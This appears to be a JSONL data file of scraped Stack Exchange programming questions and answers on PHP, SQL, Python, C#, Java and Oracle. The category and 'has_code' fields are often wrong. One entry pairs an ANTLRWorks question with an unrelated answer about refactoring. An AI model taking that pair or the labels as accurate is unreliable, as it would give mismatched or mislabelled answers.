{"id": "hf_f87c7181c80f", "question": "<p>I'm finding myself doing a lot of things with associative arrays in PHP.</p>\n\n<p>I was doing this:</p>\n\n<pre><code> foreach ($item as $key=&gt;$value) {\n     if ($arr[$key] == null) {\n         $arr[$key] = 0; \n     }\n     $arr[$key] += $other_arr[$value];\n }\n</code></pre>\n\n<p>But then I realised that it works fine if I exclude the line that initializes $arr[$key], presumably since it's null which is treated as the same as 0.</p>\n\n<p>Is making that kind of assumption safe in php? And if it's safe, is it a good idea?</p>\n", "question_body": "", "answer": "It is safe but I'd recommend against it.\nIf you put your error reporting up to E_NOTICES you'll see your code producing a lot of them, masking any real errors (such as a mistyped variable name).\nWhat you should really be doing is:\n```\n```\nif (!isset($arr[$key]))\n    $arr[$key] = 0;\n```\n```\nThis won't raise a notice (but be very careful not to mis-type $arr inside isset()).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.788612"}
{"id": "hf_5804989aedab", "question": "<p>I am using ANTLRWorks to create ANTLR grammars. I have a valid grammar and the parser and lexer source files are generated as well. I have also tried debugging the generated code and the output is as  expected in the debugger output. </p>\n\n<p>But when I try to invoke the __Test__ class generated by the debugger nothing is coming up in the console. I have properly set up the classpath as I can successfully compile the __Test__.java with the same classpath. </p>\n\n<p>What would be the problem? Is there any clear tutorial for writing and compiling a sample parser with antlr and antlrworks?</p>\n", "question_body": "", "answer": "You could as easily have asked about implementing a first-class backend getting the server side right, while avoiding the latest trendy client-side fad. And I think it would be a legitimate goal in either case. You don't mention whether this is an existing application, but if it is, then I'd say, first memeorize the Fowler Refactoring book, and then go for it.\nA lot of the churn in software is useful if you know how to properly apply what you'll need to know to accomplish your client side goals, because the same concepts (SOC, coupling-vs-cohesion, DRY, YAGNI, etc.) apply to both ends, and we increasingly have at hand useful tools for applying them (which can be accomplished more or less easily with a lot of technologies.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.838984"}
{"id": "hf_e94e2b39b93a", "question": "<p>The team in which I work has been getting problems with the visual inheritance of the forms in the Java platform.</p>\n\n<p>We want to develop a base JFrame with some controls in it and to have inherited forms from that base JFrame. The designer of the Netbeans 6.1 does not paint the controls of the base form in the inherited ones, so we can´t use it in the way we want. In the execution time the inherited forms are well painted, with the parent´s controls.</p>\n\n<p>The Netbeans designer</p>\n\n<p>Anyone has solved it? Should we change of IDE?</p>\n", "question_body": "", "answer": "Just a general comment, not a real answer to your situation - visual components aren't made for inheritance. For example, see the horrible blunder Sun made by inheriting everything from Component- now you have a JList which you can't use .add() on to add items to. Unless you can fulfill the entire super-class contract (and I know only of several classes that can) prefer composition rather than inheritance. Expose the methods you do plan on fulfilling and a \"Component getAsComponent()\" method with the explicit declaration that the component shouldn't be changed directly. I find that much easier than having to think about \"what should I do if someone uses add(JLabel) to my component? or setLayout()?\".\nRegarding your specific predicament - I'm using JFormDesigner in IntelliJ IDEA but it might apply as well. JFD has a nice way of using the component BeanInfo information (for component named \"MyThingy\" the info class would be \"MyThingyBeanInfo\"). Using that class you can define a lot of things for design-time only consumption, along with special painting methods and other niceties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.873301"}
{"id": "hf_7c3d77c4168d", "question": "<p>I am connecting to a MySQL DB trough a terminal who only have a program with an ODBC connection to a MySQL DB. I can put querys in the program, but not access MySQL directly.</p>\n\n<p>I there a way to query the DB to obtain the list of fields in a table other than</p>\n\n<pre><code>select * from table\n</code></pre>\n\n<p>??</p>\n\n<p>(don't know why but the select returns a error)</p>\n", "question_body": "", "answer": "```\n```\ndescribe *tablename*\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.910663"}
{"id": "hf_5252e9d41fea", "question": "<p>I've been reading that some devs/dbas recommend using transactions in all database calls, even read-only calls. While I understand inserting/updating within a transaction what is the benefit of reading within a transaction?</p>\n", "question_body": "", "answer": "So you get a consistent view of the database.  Imagine you have two tables that link to each other, but for some reason you do 2 selects... in pseuodocode:\n```\n```\nmyRows = query(SELECT * FROM A)\nmoreRows = query(SELECT * FROM B WHERE a_id IN myRows[id])\n```\n```\nIf between the two queries, someone changes B to delete some rows, you're going to have a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:12.955318"}
{"id": "hf_a6d0961deb89", "question": "<p>Is there any performance advantage to using lists over dictionaries over tuples in Python?</p>\n\n<p>If I'm optimising for speed, is there any reason to prefer one over another?</p>\n", "question_body": "", "answer": "Tuples will be slightly faster to construct for a small number of elements.  Although actually most of the gains will be in memory used rather than CPU cycles, since tuples require less space than lists.\nWith that being said, the performance difference should be negligible, and in general you shouldn't worry about these kinds of micro-optimizations until you've profiled your code and identified a section of code that is a bottleneck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.000216"}
{"id": "hf_f9e659e18da7", "question": "<p>How can I verify a given xpath string is valid in C#/.NET?</p>\n\n<p>I'm not sure just running the XPath and catching exceptions is a valid solution (putting aside the bile in my throat for a moment) - what if tomorrow I run into some other input I haven't tested against?</p>\n", "question_body": "", "answer": "How can I verify a given XPath string is valid in C#/.NET?\nYou try to build an\n```\nXPathExpression\n```\nfrom it and catch the exception.\n```\n```\ntry \n{\n    XPathExpression.Compile(xPathString);\n}\ncatch (XPathException ex)\n{\n    MessageBox.Show(\"XPath syntax error: \" + ex.Message);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.047908"}
{"id": "hf_e61bfb95432c", "question": "<p>All, </p>\n\n<p>I currently have my solution comprising of 2 Class librarys and a Web Site building within teamCity using Msbuild. Now I want to precompile the website and make it available as an artifact. However when i try to Precompile it using </p>\n\n<pre><code>&lt;Target Name=\"PrecompileWeb\" DependsOnTargets=\"Build\"&gt;\n    &lt;AspNetCompiler\n        PhysicalPath=\"$(BuildDir)\\Location\\\" \n        TargetPath=\"$(BuildDir)\\Publish\"\n        Force=\"true\"\n        Debug=\"true\"\n\n        /&gt;\n  &lt;/Target&gt;\n</code></pre>\n\n<p>I get an error becasue it is looking for a virtual path (which i don't have as all I want to do it precompile the files I am not interested in publishing the site) if I put a dummy path in I get another error (correctly) about it not being an application under IIS </p>\n\n<p>Any ideas</p>\n", "question_body": "", "answer": "Is this a Web Site or Web Application Project? If the latter, instead of doing an AspNetCompiler task, do an MSBuild task to the csproj/vbproj file, calling the targets\n```\nRebuild;ResolveReferences;_CopyWebApplication\n```\nand specifying the\n```\nOutDir\n```\nproperty.\nIf you are using a website, then specify the VirtualPath to be a valid IIS path. What is happening is that, when you don't specify the VirtualPath property, it tries to resolve it using the PhysicalPath and IIS. I believe that's just an artifact of how the AspNetCompiler works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.085663"}
{"id": "hf_c85374b20aab", "question": "<p>I'm preparing a string that will be <code>eval</code>'ed. The string will contain a clause built from an existing <code>Array</code>. I have the following:</p>\n\n<pre><code>def stringify(arg)\n    return \"[ '\" + arg.join(\"', '\") + \"' ]\" if arg.class == Array\n    \"'#{arg}'\"\nend\n\na = [ 'a', 'b', 'c' ]\neval_str = 'p ' + stringify(a)\neval(eval_str)\n</code></pre>\n\n<p>which prints the string <code>[\"a\", \"b\", \"c\"]</code>.</p>\n\n<p>Is there a more idiomatic way to do this? <code>Array#to_s</code> doesn't cut it. Is there a way to assign the output from the <code>p</code> method to a variable?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I may be misunderstanding you, but does this look better at all?\n```\n```\n>> a = %w[a b c]\n=> [\"a\", \"b\", \"c\"]\n>> r = \"['#{a.join(\"', '\")}']\"\n=> \"['a', 'b', 'c']\"\n>> r.class\n=> String\n```\n```\nI suppose I'm confused by the need for eval, unless that's a part of something outside of what I see here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.108851"}
{"id": "hf_9a8a4fd92f46", "question": "<p>I need a method to return a random string in the format:</p>\n\n<p>Letter Number Letter  Number Letter Number</p>\n", "question_body": "", "answer": "You just need 2 methods.\n1) Random a char (You can use\nASCII\nto random between number than cast to char)\n2) Random number.\nBoth can use this utility method:\n```\n```\nprivate int RandomNumber(int min, int max)\n{\n    Random random = new Random();\n    return random.Next(min, max); \n}\n```\n```\nFor the letter you need to call\n```\nRandomNumber(65,90);\n```\nand for the number you call :\n```\nRandomNumber(1,9);\n```\nYou just need to concatenate.\nThan you call these methods to create your string, Hope this help you.\nUpdate\nYou should put the random object in your class... it was just to show you how to do it. You still need to work a little but I think it's a good start to show you how to manipulate char from ascii.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.144100"}
{"id": "hf_8959d20bdb2a", "question": "<p>What is the proper way to split up SQL statements to send to an Oracle ADO.NET client?  For instance, lets say you have the following code in a text file and want to execute these statements:</p>\n\n<pre><code>CREATE TABLE foo (bar VARCHAR2(100));\nINSERT INTO foo (bar) VALUES('one');\nINSERT INTO foo (bar) VALUES('two');\n</code></pre>\n\n<p>I believe trying to send all those in one Command will cause Oracle to complain about the \";\".  My first thought would be to split on \";\" character, and send them one at a time.</p>\n\n<p>But, Stored procedures can contain semi-colons as well, so how would I make it so the split routine would keep the whole stored proc together?  Does it need to look for begin/end statements as well, or \"/\"?</p>\n\n<p>Is there any difference in these respects between ODP.NET and the Micrsoft Oracle Provider?</p>\n", "question_body": "", "answer": "Without the DDL, you could create an anonymous PL/SQL block by surrounding the statements with BEGIN and END:\n```\n```\nBEGIN\n  INSERT INTO foo (bar) VALUES('one');\n  INSERT INTO foo (bar) VALUES('two');\nEND;\n```\n```\nTo perform DDL (like CREATE TABLE) you would need to use dynamic PL/SQL:\n```\n```\nBEGIN\n  EXECUTE IMMEDIATE 'CREATE TABLE foo (bar VARCHAR2(100))';\n  EXECUTE IMMEDIATE 'INSERT INTO foo (bar) VALUES(:v)' USING 'one';\n  EXECUTE IMMEDIATE 'INSERT INTO foo (bar) VALUES(:v)' USING 'two';\nEND;\n```\n```\nThe INSERTS are also dynamic, as the table does not exist prior to running the block and so it would fail to compile.\nNOTE: This would be an unusual requirement: applications should not normally be creating tables!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.168833"}
{"id": "hf_c26e894c994f", "question": "<p>It is really annoying.</p>\n\n<pre><code>Application.EnableVisualStyles();\nApplication.SetCompatibleTextRenderingDefault(false);\nApplication.Run(new mainForm()); &lt;-- pausing visual studio breaks here.\n</code></pre>\n\n<p>Thanks guys.</p>\n", "question_body": "", "answer": "@sramey are you sure pausing always breaks on the said line? If I may hazard a guess here I think when you press the pause button you application is idle and the program is spending most of its time in the Win32 message loop abstracted by Application.Run(). Hence there is a high probability that VS breaks the execution of the main thread there.\nI think pressing pause is not always the best way of debugging things. You need to make educated guesses about problem areas and set breakpoints in relevant methods (like Constructors, API calls etc)\nNeed more info on what you are trying to accomplish here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.241259"}
{"id": "hf_d7afd67aaf90", "question": "<p>In a comment on this <a href=\"https://stackoverflow.com/questions/306130/python-decorator-makes-function-forget-that-it-belongs-to-a-class#306277\">answer to another question</a>, someone said that they weren't sure what <code>functools.wraps</code> was doing. So, I'm asking this question so that there will be a record of it on StackOverflow for future reference: what does <code>functools.wraps</code> do, exactly?</p>\n", "question_body": "", "answer": "When you use a decorator, you're replacing one function with another.  In other words, if you have a decorator\n```\n```\ndef logged(func):\n    def with_logging(*args, **kwargs):\n        print(func.__name__ + \" was called\")\n        return func(*args, **kwargs)\n    return with_logging\n```\n```\nthen when you say\n```\n```\n@logged\ndef f(x):\n   \"\"\"does some math\"\"\"\n   return x + x * x\n```\n```\nit's exactly the same as saying\n```\n```\ndef f(x):\n    \"\"\"does some math\"\"\"\n    return x + x * x\nf = logged(f)\n```\n```\nand your function\n```\nf\n```\nis replaced with the function\n```\nwith_logging\n```\n.  Unfortunately, this means that if you then say\n```\n```\nprint(f.__name__)\n```\n```\nit will print\n```\nwith_logging\n```\nbecause that's the name of your new function.  In fact, if you look at the docstring for\n```\nf\n```\n, it will be blank because\n```\nwith_logging\n```\nhas no docstring, and so the docstring you wrote won't be there anymore.  Also, if you look at the pydoc result for that function, it won't be listed as taking one argument\n```\nx\n```\n; instead it'll be listed as taking\n```\n*args\n```\nand\n```\n**kwargs\n```\nbecause that's what with_logging takes.\nIf using a decorator always meant losing this information about a function, it would be a serious problem.  That's why we have\n```\nfunctools.wraps\n```\n.  This takes a function used in a decorator and adds the functionality of copying over the function name, docstring, arguments list, etc.  And since\n```\nwraps\n```\nis itself a decorator, the following code does the correct thing:\n```\n```\nfrom functools import wraps\ndef logged(func):\n    @wraps(func)\n    def with_logging(*args, **kwargs):\n        print(func.__name__ + \" was called\")\n        return func(*args, **kwargs)\n    return with_logging\n\n@logged\ndef f(x):\n   \"\"\"does some math\"\"\"\n   return x + x * x\n\nprint(f.__name__)  # prints 'f'\nprint(f.__doc__)   # prints 'does some math'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.267582"}
{"id": "hf_195ef45e6695", "question": "<p>I have a small ajax php application, which outputs data from a mysql db into a table. The rows are links, which when clicked will call an ajax function, which in turn will call another php file, which displays a different query from the same database in a layer without reloading the page.</p>\n\n<p>I would like to know how to synchronize queries between both php files. So when I click on a row in the base page, the layer will be expanded to include additional information, or indeed the whole query.</p>\n\n<p>I was thinking I could do this by having the primary key in the first query for the table, however I don't want it displayed and was wondering if there was a better approach to this?</p>\n", "question_body": "", "answer": "You don't want it displayed, does that mean for security issues or something else.\nIf you want to lose the primary key in the table you can go with a query cache placed into  a session object and then just retreive by place in array.\nso something like:\npage1:\ncreate array with db objects\nstore array into session\ndisplay objects in table\nadd display layer function for eachrow in table using the index from the array as a parameter.\npage2:\nretrieve session object\nshow data for array spot", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.390180"}
{"id": "hf_ce57525e0c6e", "question": "<p>I'd like to find all the types inheriting from a base/interface. Anyone have a good method to do this? Ideas?</p>\n\n<p>I know this is a strange request but its something I'm playing with none-the-less.</p>\n", "question_body": "", "answer": "Use Assembly.GetTypes() to get all the types, and Type.IsAssignableFrom() to check for inheritance. Let me know if you need code - and also whether or not you're using .NET 3.5. (A lot of reflection tasks like this are simpler with LINQ to Objects.)\nEDIT: As requested, here's an example - it finds everything in\n```\nmscorlib\n```\nwhich implements\n```\nIEnumerable\n```\n. Note that life is somewhat harder when the base type is generic...\n```\n```\nusing System;\nusing System.Collections;\nusing System.Linq;\nusing System.Reflection;\n\nclass Test\n{\n    static void Main()\n    {\n        Assembly assembly = typeof(string).Assembly;\n        Type target = typeof(IEnumerable);        \n        var types = assembly.GetTypes()\n                            .Where(type => target.IsAssignableFrom(type));\n\n        foreach (Type type in types)\n        {\n            Console.WriteLine(type.Name);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.413550"}
{"id": "hf_7cef64ce3137", "question": "<p>How (i.e. using which API) is the virtual keyboard opened on Symbian S60 5th edition? The documentation seems to lack information about this.</p>\n", "question_body": "", "answer": "You are right, this should obviously be a published API and it should be highlighted in the documentation. No such luck.\nIf you are using one of the platform native controls, the virtual keyboard will automatically popup when the user accesses a text-editing control.\nIf you are making a custom control, you need to deal with its selection by adding your own version of the virtual keyboard: make a new text-editing, window-owning virtual keyboard look-alike custom control with the right buttons. Reuse it accross all your applications. One day, Nokia will realize they have made an obvious mistake and make the API publicly available.\nIf you are using direct screen access, well, you wouldn't exactly expect the very s60-looking virtual keyboard to popup out of nowwhere. Again, draw a nice image on the screen to let the user know where the virtual keys are and react to pointer events. This is going to be less reusable unless you build a good amount of customization (background, button edges...) into it.\nEDIT: Nokia may be relying on Qt to fix this issue. I would expect the control to be part of the current 4.7 version of Qt.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.448260"}
{"id": "hf_5300a5e305e7", "question": "<p>I'm optimizing a directx graphics application to take advantage of nVidia's SLI technology.  I'm currently investigating some of the techniques mentioned in their 'Best Practices' web page, but wanted to know what advice/experience any of you have had with this?  </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "This is not really an answer to you question, more of a comment on SLI.\nMy understanding is that SLI is only really a cost-effective means of gaining performance when you buy two cards right away, which few people actually do. Many people buy an SLI motherboard and card thinking it will give them a better upgrade path down the road, but the reality is that by the time you get to that point, it is going to be cheaper to buy a new, faster card, than it is to duplicate the one you already have just to get SLI going.\nJust a thought before you pour too much energy into it. If you have a requirement to support SLI, then that's what you have to do. But personally, I would rather see optimization energy put towards non-SLI implementations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.472042"}
{"id": "hf_b57047ea24f5", "question": "<p>How do I get the <code>GridView</code> control to render the <code>&lt;thead&gt;</code> <code>&lt;tbody&gt;</code> tags? I know <code>.UseAccessibleHeaders</code> makes it put <code>&lt;th&gt;</code> instead of <code>&lt;td&gt;</code>, but I cant get the <code>&lt;thead&gt;</code> to appear.</p>\n", "question_body": "", "answer": "This should do it:\n```\n```\ngv.HeaderRow.TableSection = TableRowSection.TableHeader;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.494850"}
{"id": "hf_b5a856d52c80", "question": "<p>I got the following class :</p>\n\n<pre><code>class ConstraintFailureSet(dict, Exception) :\n    \"\"\"\n        Container for constraint failures. It act as a constraint failure itself\n        but can contain other constraint failures that can be accessed with a dict syntax.\n    \"\"\"\n\n    def __init__(self, **failures) :\n        dict.__init__(self, failures)\n        Exception.__init__(self)\n\nprint isinstance(ConstraintFailureSet(), Exception)\nTrue\nraise ConstraintFailureSet()\nTypeError: exceptions must be classes, instances, or strings (deprecated), not ConstraintFailureSet\n</code></pre>\n\n<p>What the heck ?</p>\n\n<p>And the worst is that I can't try super() since Exception are old based class...</p>\n\n<p>EDIT : And, yes, I've tried to switch the order of inheritance / init.</p>\n\n<p>EDIT2 : I am using CPython 2.4 on Ubuntu8.10. You newer know is this kind of infos is usefull ;-). Anyway, this little riddle has shut the mouth of 3 of my collegues. You'd be my best-friend-of-the day...</p>\n", "question_body": "", "answer": "What version of Python?\nIn 2.5.1, I can't even define a class the inherits from both\n```\ndict\n```\nand\n```\nException\n```\n:\n```\n```\n>>> class foo(dict, Exception):\n...   pass\n... \nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: Error when calling the metaclass bases\n    multiple bases have instance lay-out conflict\n```\n```\nIf you're using an older version, maybe it doesn't do this check during type definition and the conflict causes oddities later on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.543222"}
{"id": "hf_f5b8753211c6", "question": "<p>When generating graphs and showing different sets of data it usually a good idea to difference the sets by color. So one line is red and the next is green and so on. The problem is then that when the number of datasets is unknown one needs to randomly generate these colors and often they end up very close to each other (green, light green for example). </p>\n\n<p>Any ideas on how this could be solved and how it would be possibler to generate distinctly different colors? </p>\n\n<p>I'd be great if any examples (feel free to just discuss the problem and solution without examples if you find that easier) were in C# and RGB based colors.</p>\n", "question_body": "", "answer": "I would start with a set brightness 100% and go around primary colors first:\nFF0000, 00FF00, 0000FF\nthen the combinations\nFFFF00, FF00FF, 00FFFF\nnext for example halve the brightness and do same round. There's not too many really clearly distinct colors, after these I would start to vary the line width and do dotted/dashed lines etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.579540"}
{"id": "hf_fcd48f85f274", "question": "<p>Is there a way to link to a chm file, and therein to a certain topic, from a Microsoft Word docx document? Something in the lines of:</p>\n\n<blockquote>\n  <p>\"For more information about this Property see [link ref=\"./SomeDirectory/somedocument.chm!Sometopic.Somesubtopic\" text=\"MyClass.MyProperty\"]</p>\n</blockquote>\n", "question_body": "", "answer": "You should be able to do it by setting the hyperlink to the file and use the \"#\" header anchor (I'm not sure what it is called...) but here is an example:\n```\n```\nC:\\Helpfiles\\Help.chm#Topic\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.603539"}
{"id": "hf_3bc271e55bd2", "question": "<p>Is it a simple case of just never using the this.XYZ construct?</p>\n", "question_body": "", "answer": "It's only considered poor style if it violates your style guidelines. Sometimes using\n```\nthis\n```\nis necessary to qualify a member variable over a local variable:\n```\n```\npublic MyType(int arg)\n{\n    this.arg = arg;\n}\n```\n```\nThis problem can also be mitigated with style guidelines. For example, prefix members with \"_\":\n```\n```\npublic MyType(int arg)\n{\n    _arg = arg;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.661982"}
{"id": "hf_786581dea6ed", "question": "<p>Let's say I have an int with the value of 1. How can I convert that int to a zero padded string, such as <code>00000001</code>?</p>\n", "question_body": "", "answer": "Another way is:\n```\n```\nDECLARE @iVal int = 1\nselect REPLACE(STR(@iVal, 8, 0), ' ', '0')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.686338"}
{"id": "hf_71fa923609f2", "question": "<p>I used a new Date() object to fill a field in a MySQL DB, but the actual value stored in that field is in my local timezone.</p>\n\n<p>How can I configure MySQL to store it in the UTC/GMT timezone?</p>\n\n<p>I think, configuring the connection string will help but I don't know how. There are many properties in the connection string like useTimezone, serverTimzone, useGmtMillisForDatetimes, useLegacyDatetimeCode, ...</p>\n", "question_body": "", "answer": "Well, if we're talking about using\n```\nPreparedStatement\n```\ns, there's a\nform of setDate\nwhere you can pass in a Calendar set to a particular time zone.\nFor instance, if you have a PreparedStatement named stmt, a Date named date, and assuming the date is the second parameter:\n```\n```\nstmt.setDate(2, date, Calendar.getInstance(TimeZone.getTimeZone(\"GMT\")));\n```\n```\nThe best part is, even if GMT is an invalid time zone name, it still returns the GMT time zone because of the default behavior of getTimeZone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.722873"}
{"id": "hf_5273e8925cb7", "question": "<p>Is the index value of the first record in a dbf file 0 or 1?  Is the index zero-based?</p>\n", "question_body": "", "answer": "i'm not sure but this might give you a clue.\nhttp://www.dbase.com/knowledgebase/int/db7_file_fmt.htm\n1.3.1 Standard Property and Constraint Descriptor Array\nTable field offset - base one. 01 for\n    the first field in the table, 02 for\n    the second field, etc. Note: this will\n    be 0 in the case of a constraint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.832210"}
{"id": "hf_48e6d192b8f8", "question": "<p>Currently this expression <code>\"I ([a-zA-z]\\d]{3} \"</code> returns when the following pattern is true:</p>\n\n<pre>\nI AAA \nI Z99 \n</pre>\n\n<p>I need to modify this so it will return a range of alphanumerics after the I from 2 to 13 that do not have a space.</p>\n\n<p>Example:</p>\n\n<pre>\nI AAA \nI A321 \nI ASHG310310 \n</pre>\n\n<p>Thanks,</p>\n\n<p>Dave</p>\n", "question_body": "", "answer": "Without the quotes:\n```\n\"I ([a-zA-Z\\d]{2,13}) \"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.856969"}
{"id": "hf_679e6085b708", "question": "<p>I have an enum construct like this:</p>\n\n<pre><code>public enum EnumDisplayStatus\n{\n    None    = 1,\n    Visible = 2,\n    Hidden  = 3,\n    MarkedForDeletion = 4\n}\n</code></pre>\n\n<p>In my database, the enumerations are referenced by value. My question is, how can I turn the number representation of the enum back to the string name. </p>\n\n<p>For example, given <code>2</code> the result should be <code>Visible</code>.</p>\n", "question_body": "", "answer": "You can convert the\n```\nint\n```\nback to an enumeration member with a simple cast, and then call\n```\nToString()\n```\n:\n```\n```\nint value = GetValueFromDb();\nvar enumDisplayStatus = (EnumDisplayStatus)value;\nstring stringValue = enumDisplayStatus.ToString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.928896"}
{"id": "hf_fe17e858ab54", "question": "<p>Say I have a xml document that looks like this</p>\n\n<pre><code>&lt;foo&gt;\n&lt;bar id=\"9\" /&gt;\n&lt;bar id=\"4\" /&gt;\n&lt;bar id=\"3\" /&gt;\n&lt;/foo&gt;\n</code></pre>\n\n<p>I would like to use linq to reset the id's to 0, 1 ,2.\nWhat would be the easiest way to do this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "```\n```\nXElement xml = GetXml();\nvar i = 0;\nforeach (var e in xml.Elements(\"bar\"))\n  e.SetAttributeValue(\"id\", i++);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:13.986554"}
